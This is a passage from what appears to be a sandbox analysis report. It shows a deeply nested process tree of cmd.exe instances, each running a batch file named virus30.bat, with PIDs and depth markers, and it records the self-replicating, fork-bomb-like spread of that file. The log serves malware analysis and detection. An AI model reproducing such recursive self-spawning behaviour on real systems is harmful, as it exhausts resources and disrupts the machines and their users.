        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11728
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:1836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:7824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:6408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:7840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:13200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:8616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:8652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:14268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6492
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7728
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:3140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:2760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:6040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:14272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:17340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:16116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:17364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:5532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:2688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:6516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:10036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15368
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:14772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:6548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:1300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:6220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:5232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:6524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:60
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:1948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:4304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:7744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:11736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:11808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:7760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:12792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:13232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:4448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:7976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:13296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:13732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:8000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:11920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:11936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:2364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:1612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:7308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:12832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:13272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:7324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:8016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:11636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:12668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:8032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:9144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        21⤵
        
        PID:15256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        21⤵
        
        PID:16240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:9168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        21⤵
        
        PID:15328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        21⤵
        
        PID:16320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:4960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:8040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:9160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:15336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:16312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:9184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:7004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:8056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:11584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        20⤵
        
        PID:17012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:12868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:5400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:13076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:13780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:12800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:13240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:2768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:12008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:12032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:16764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:17380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:7924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:11064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:16808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:17404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:11676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:7940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:11720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:11792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:16796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:2276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:10012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:17044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:10020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15444
        
        C:\Windows\system32\cmd.exe
        
